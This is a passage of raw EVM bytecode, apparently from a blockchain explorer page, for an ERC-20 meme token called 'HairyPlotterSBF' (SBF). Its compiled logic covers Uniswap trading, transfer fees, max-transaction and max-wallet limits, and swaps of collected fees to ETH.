5750600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b8257611b62611b5d85611b5884601154612275565b612275565b611eb1565b600047905066470de4df820000811115611b8057611b7f4761212a565b5b505b505b6000821115611c8857611bdf82600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228e90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c7f9190612593565b60405180910390a35b611ce58184611c9791906130b9565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122ec90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d8c611d3e83856122ec90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228e90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611e3185876122ec90919063ffffffff16565b604051611e3e9190612593565b60405180910390a35050505050565b6000838311158290611e95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8c9190612485565b60405180910390fd5b5060008385611ea491906130b9565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ee957611ee86130ed565b5b604051908082528060200260200182016040528015611f175781602001602082028036833780820191505090505b5090503081600081518110611f2f57611f2e61311c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611fd6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ffa9190612981565b8160018151811061200e5761200d61311c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061207530601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611134565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120d9959493929190613209565b600060405180830381600087803b1580156120f357600080fd5b505af1158015612107573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b600061213761dead6107a4565b826121429190612fd1565b9050600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156121ac573d6000803e3d6000fd5b505050565b60008083036121c35760009050612225565b600082846121d1919061292a565b90508284826121e09190613292565b14612220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221790613335565b60405180910390fd5b809150505b92915050565b600061226d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612336565b905092915050565b60008183116122845782612286565b815b905092915050565b600080828461229d9190612fd1565b9050838110156122e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d9906133a1565b60405180910390fd5b8091505092915050565b600061232e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e4d565b905092915050565b6000808311829061237d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123749190612485565b60405180910390fd5b506000838561238c9190613292565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006123c482612399565b9050919050565b6123d4816123b9565b82525050565b60006020820190506123ef60008301846123cb565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561242f578082015181840152602081019050612414565b60008484015250505050565b6000601f19601f8301169050919050565b6000612457826123f5565b6124618185612400565b9350612471818560208601612411565b61247a8161243b565b840191505092915050565b6000602082019050818103600083015261249f818461244c565b905092915050565b600080fd5b6124b5816123b9565b81146124c057600080fd5b50565b6000813590506124d2816124ac565b92915050565b6000819050919050565b6124eb816124d8565b81146124f657600080fd5b50565b600081359050612508816124e2565b92915050565b60008060408385031215612525576125246124a7565b5b6000612533858286016124c3565b9250506020612544858286016124f9565b9150509250929050565b60008115159050919050565b6125638161254e565b82525050565b600060208201905061257e600083018461255a565b92915050565b61258d816124d8565b82525050565b60006020820190506125a86000830184612584565b92915050565b6000806000606084860312156125c7576125c66124a7565b5b60006125d5868287016124c3565b93505060206125e6868287016124c3565b92505060406125f7868287016124f9565b9150509250925092565b600060ff82169050919050565b61261781612601565b82525050565b6000602082019050612632600083018461260e565b92915050565b60006020828403121561264e5761264d6124a7565b5b600061265c848285016124c3565b91505092915050565b6000806040838503121561267c5761267b6124a7565b5b600061268a858286016124c3565b925050602061269b858286016124c3565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006126db602083612400565b91506126e6826126a5565b602082019050919050565b6000602082019050818103600083015261270a816126ce565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612747601783612400565b915061275282612711565b602082019050919050565b600060208201905081810360008301526127768161273a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612803578086048111156127df576127de61277d565b5b60018516156127ee5780820291505b80810290506127fc856127ac565b94506127c3565b94509492505050565b60008261281c57600190506128d8565b8161282a57600090506128d8565b8160018114612840576002811461284a57612879565b60019150506128d8565b60ff84111561285c5761285b61277d565b5b8360020a9150848211156128735761287261277d565b5b506128d8565b5060208310610133831016604e8410600b84101617156128ae5782820a9050838111156128a9576128a861277d565b5b6128d8565b6128bb84848460016127b9565b925090508184048111156128d2576128d161277d565b5b81810290505b9392505050565b60006128ea826124d8565b91506128f583612601565b92506129227fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461280c565b905092915050565b6000612935826124d8565b9150612940836124d8565b925082820261294e816124d8565b915082820484148315176129655761296461277d565b5b5092915050565b60008151905061297b816124ac565b92915050565b600060208284031215612997576129966124a7565b5b60006129a58482850161296c565b91505092915050565b60006040820190506129c360008301856123cb565b6129d060208301846123cb565b9392505050565b6000819050919050565b6000819050919050565b6000612a06612a016129fc846129d7565b6129e1565b6124d8565b9050919050565b612a16816129eb565b82525050565b600060c082019050612a3160008301896123cb565b612a3e6020830188612584565b612a4b6040830187612a0d565b612a586060830186612a0d565b612a6560808301856123cb565b612a7260a0830184612584565b979650505050505050565b600081519050612a8c816124e2565b92915050565b600080600060608486031215612aab57612aaa6124a7565b5b6000612ab986828701612a7d565b9350506020612aca86828701612a7d565b9250506040612adb86828701612a7d565b9150509250925092565b6000604082019050612afa60008301856123cb565b612b076020830184612584565b9392505050565b612b178161254e565b8114612b2257600080fd5b50565b600081519050612b3481612b0e565b92915050565b600060208284031215612b5057612b4f6124a7565b5b6000612b5e84828501612b25565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612bc3602483612400565b9150612bce82612b67565b604082019050919050565b60006020820190508181036000830152612bf281612bb6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c55602283612400565b9150612c6082612bf9565b604082019050919050565b60006020820190508181036000830152612c8481612c48565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612ce7602583612400565b9150612cf282612c8b565b604082019050919050565b60006020820190508181036000830152612d1681612cda565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612d79602383612400565b9150612d8482612d1d565b604082019050919050565b60006020820190508181036000830152612da881612d6c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612e0b602983612400565b9150612e1682612daf565b604082019050919050565b60006020820190508181036000830152612e3a81612dfe565b9050919050565b7f54726164696e67206e6f7420656e61626c656400000000000000000000000000600082015250565b6000612e77601383612400565b9150612e8282612e41565b602082019050919050565b60006020820190508181036000830152612ea681612e6a565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b6000612f2f604983612400565b9150612f3a82612ead565b606082019050919050565b60006020820190508181036000830152612f5e81612f22565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000612f9b601983612400565b9150612fa682612f65565b602082019050919050565b60006020820190508181036000830152612fca81612f8e565b9050919050565b6000612fdc826124d8565b9150612fe7836124d8565b9250828201905080821115612fff57612ffe61277d565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061303b601a83612400565b915061304682613005565b602082019050919050565b6000602082019050818103600083015261306a8161302e565b9050919050565b600061307c826124d8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036130ae576130ad61277d565b5b600182019050919050565b60006130c4826124d8565b91506130cf836124d8565b92508282039050818111156130e7576130e661277d565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613180816123b9565b82525050565b60006131928383613177565b60208301905092915050565b6000602082019050919050565b60006131b68261314b565b6131c08185613156565b93506131cb83613167565b8060005b838110156131fc5781516131e38882613186565b97506131ee8361319e565b9250506001810190506131cf565b5085935050505092915050565b600060a08201905061321e6000830188612584565b61322b6020830187612a0d565b818103604083015261323d81866131ab565b905061324c60608301856123cb565b6132596080830184612584565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061329d826124d8565b91506132a8836124d8565b9250826132b8576132b7613263565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061331f602183612400565b915061332a826132c3565b604082019050919050565b6000602082019050818103600083015261334e81613312565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061338b601b83612400565b915061339682613355565b602082019050919050565b600060208201905081810360008301526133ba8161337e565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c4c1589293ae64595874caffdec92ecd0858c66229fa5eda202f4fa550d177f964736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101445760003560e01c806374e4867e116100b657806395d89b411161006f57806395d89b41146104115780639e78fb4f1461043c578063a9059cbb14610446578063bf474bed14610483578063c876d0b9146104ae578063dd62ed3e146104d95761014b565b806374e4867e146103375780637d1db4a51461034e57806380f40619146103795780638bcea939146103905780638da5cb5b146103bb5780638f9a55c0146103e65761014b565b806318160ddd1161010857806318160ddd1461022557806323b872dd14610250578063313ce5671461028d57806358fa63ca146102b857806370a08231146102e3578063715018a6146103205761014b565b806303fd2a451461015057806306fdde031461017b578063095ea7b3146101a65780630ed6ae84146101e35780630faee56f146101fa5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610516565b60405161017291906123da565b60405180910390f35b34801561018757600080fd5b5061019061051c565b60405161019d9190612485565b60405180910390f35b3480156101b257600080fd5b506101cd60048036038101906101c8919061250e565b610559565b6040516101da9190612569565b60405180910390f35b3480156101ef57600080fd5b506101f8610577565b005b34801561020657600080fd5b5061020f610694565b60405161021c9190612593565b60405180910390f35b34801561023157600080fd5b5061023a61069a565b6040516102479190612593565b60405180910390f35b34801561025c57600080fd5b50610277600480360381019061027291906125ae565b6106bd565b6040516102849190612569565b60405180910390f35b34801561029957600080fd5b506102a2610796565b6040516102af919061261d565b60405180910390f35b3480156102c457600080fd5b506102cd61079f565b6040516102da91906123da565b60405180910390f35b3480156102ef57600080fd5b5061030a60048036038101906103059190612638565b6107a4565b6040516103179190612593565b60405180910390f35b34801561032c57600080fd5b506103356107ed565b005b34801561034357600080fd5b5061034c610940565b005b34801561035a57600080fd5b506103636109dd565b6040516103709190612593565b60405180910390f35b34801561038557600080fd5b5061038e6109e3565b005b34801561039c57600080fd5b506103a5610b2b565b6040516103b291906123da565b60405180910390f35b3480156103c757600080fd5b506103d0610b51565b6040516103dd91906123da565b60405180910390f35b3480156103f257600080fd5b506103fb610b7a565b6040516104089190612593565b60405180910390f35b34801561041d57600080fd5b50610426610b80565b6040516104339190612485565b60405180910390f35b610444610bbd565b005b34801561045257600080fd5b5061046d6004803603810190610468919061250e565b61106e565b60405161047a9190612569565b60405180910390f35b34801561048f57600080fd5b5061049861108c565b6040516104a59190612593565b60405180910390f35b3480156104ba57600080fd5b506104c3611092565b6040516104d09190612569565b60405180910390f35b3480156104e557600080fd5b5061050060048036038101906104fb9190612665565b6110a5565b60405161050d9190612593565b60405180910390f35b61dead81565b60606040518060400160405280600f81526020017f4861697279506c6f747465725342460000000000000000000000000000000000815250905090565b600061056d61056661112c565b8484611134565b6001905092915050565b61057f61112c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461060c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610603906126f1565b60405180910390fd5b601360149054906101000a900460ff161561065c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106539061275d565b60405180910390fd5b6001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550565b60115481565b60006012600a6106aa91906128df565b629896806106b8919061292a565b905090565b60006106ca8484846112fd565b61078b846106d661112c565b610786856040518060600160405280602881526020016133c260289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061073c61112c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e4d9092919063ffffffff16565b611134565b600190509392505050565b60006012905090565b600081565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107f561112c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610882576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610879906126f1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661098161112c565b73ffffffffffffffffffffffffffffffffffffffff16146109a157600080fd5b60006109ac306107a4565b905060008111156109c1576109c081611eb1565b5b600047905060008111156109d9576109d88161212a565b5b5050565b600e5481565b6109eb61112c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6f906126f1565b60405180910390fd5b6012600a610a8691906128df565b62989680610a94919061292a565b600e819055506012600a610aa891906128df565b62989680610ab6919061292a565b600f819055506000600560006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012600a610b0691906128df565b62989680610b14919061292a565b604051610b219190612593565b60405180910390a1565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600381526020017f5342460000000000000000000000000000000000000000000000000000000000815250905090565b610bc561112c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c49906126f1565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cef30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a610cdc91906128df565b62989680610cea919061292a565b611134565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d809190612981565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2d9190612981565b6040518363ffffffff1660e01b8152600401610e4a9291906129ae565b6020604051808303816000875af1158015610e69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8d9190612981565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f16306107a4565b600080610f21610b51565b426040518863ffffffff1660e01b8152600401610f4396959493929190612a1c565b60606040518083038185885af1158015610f61573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f869190612a92565b505050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611028929190612ae5565b6020604051808303816000875af1158015611047573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106b9190612b3a565b50565b600061108261107b61112c565b84846112fd565b6001905092915050565b60105481565b600560009054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119a90612bd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611212576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120990612c6b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112f09190612593565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361136c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136390612cfd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d290612d8f565b60405180910390fd5b6000811161141e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141590612e21565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114c25750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561151757601360149054906101000a900460ff16611516576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150d90612e8d565b60405180910390fd5b5b600080611522610b51565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156115905750611560610b51565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611b84576115d160646115c3600a54600d54116115b0576006546115b4565b6008545b866121b190919063ffffffff16565b61222b90919063ffffffff16565b9150600560009054906101000a900460ff161561176057601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156116945750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561175f5743600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061171a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171190612f45565b60405180910390fd5b43600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614801561180b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118615750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561191c57600e548311156118ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a290612fb1565b60405180910390fd5b600f54836118b8866107a4565b6118c29190612fd1565b1115611903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fa90613051565b60405180910390fd5b600d600081548092919061191690613071565b91905055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156119a557503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611a3f57600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a00578290505b611a3c6064611a2e600b54600d5411611a1b57600754611a1f565b6009545b866121b190919063ffffffff16565b61222b90919063ffffffff16565b91505b6000611a4a306107a4565b9050601360159054906101000a900460ff16158015611ab65750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015611ace5750601360169054906101000a900460ff165b8015611adb575060105481115b8015611aea5750600c54600d54115b8015611b405750600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b8257611b62611b5d85611b5884601154612275565b612275565b611eb1565b600047905066470de4df820000811115611b8057611b7f4761212a565b5b505b505b6000821115611c8857611bdf82600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228e90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c7f9190612593565b60405180910390a35b611ce58184611c9791906130b9565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122ec90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d8c611d3e83856122ec90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228e90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611e3185876122ec90919063ffffffff16565b604051611e3e9190612593565b60405180910390a35050505050565b6000838311158290611e95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8c9190612485565b60405180910390fd5b5060008385611ea491906130b9565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ee957611ee86130ed565b5b604051908082528060200260200182016040528015611f175781602001602082028036833780820191505090505b5090503081600081518110611f2f57611f2e61311c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611fd6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ffa9190612981565b8160018151811061200e5761200d61311c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061207530601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611134565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120d9959493929190613209565b600060405180830381600087803b1580156120f357600080fd5b505af1158015612107573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b600061213761dead6107a4565b826121429190612fd1565b9050600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156121ac573d6000803e3d6000fd5b505050565b60008083036121c35760009050612225565b600082846121d1919061292a565b90508284826121e09190613292565b14612220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221790613335565b60405180910390fd5b809150505b92915050565b600061226d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612336565b905092915050565b60008183116122845782612286565b815b905092915050565b600080828461229d9190612fd1565b9050838110156122e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d9906133a1565b60405180910390fd5b8091505092915050565b600061232e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e4d565b905092915050565b6000808311829061237d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123749190612485565b60405180910390fd5b506000838561238c9190613292565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006123c482612399565b9050919050565b6123d4816123b9565b82525050565b60006020820190506123ef60008301846123cb565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561242f578082015181840152602081019050612414565b60008484015250505050565b6000601f19601f8301169050919050565b6000612457826123f5565b6124618185612400565b9350612471818560208601612411565b61247a8161243b565b840191505092915050565b6000602082019050818103600083015261249f818461244c565b905092915050565b600080fd5b6124b5816123b9565b81146124c057600080fd5b50565b6000813590506124d2816124ac565b92915050565b6000819050919050565b6124eb816124d8565b81146124f657600080fd5b50565b600081359050612508816124e2565b92915050565b60008060408385031215612525576125246124a7565b5b6000612533858286016124c3565b9250506020612544858286016124f9565b9150509250929050565b60008115159050919050565b6125638161254e565b82525050565b600060208201905061257e600083018461255a565b92915050565b61258d816124d8565b82525050565b60006020820190506125a86000830184612584565b92915050565b6000806000606084860312156125c7576125c66124a7565b5b60006125d5868287016124c3565b93505060206125e6868287016124c3565b92505060406125f7868287016124f9565b9150509250925092565b600060ff82169050919050565b61261781612601565b82525050565b6000602082019050612632600083018461260e565b92915050565b60006020828403121561264e5761264d6124a7565b5b600061265c848285016124c3565b91505092915050565b6000806040838503121561267c5761267b6124a7565b5b600061268a858286016124c3565b925050602061269b858286016124c3565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006126db602083612400565b91506126e6826126a5565b602082019050919050565b6000602082019050818103600083015261270a816126ce565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612747601783612400565b915061275282612711565b602082019050919050565b600060208201905081810360008301526127768161273a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612803578086048111156127df576127de61277d565b5b60018516156127ee5780820291505b80810290506127fc856127ac565b94506127c3565b94509492505050565b60008261281c57600190506128d8565b8161282a57600090506128d85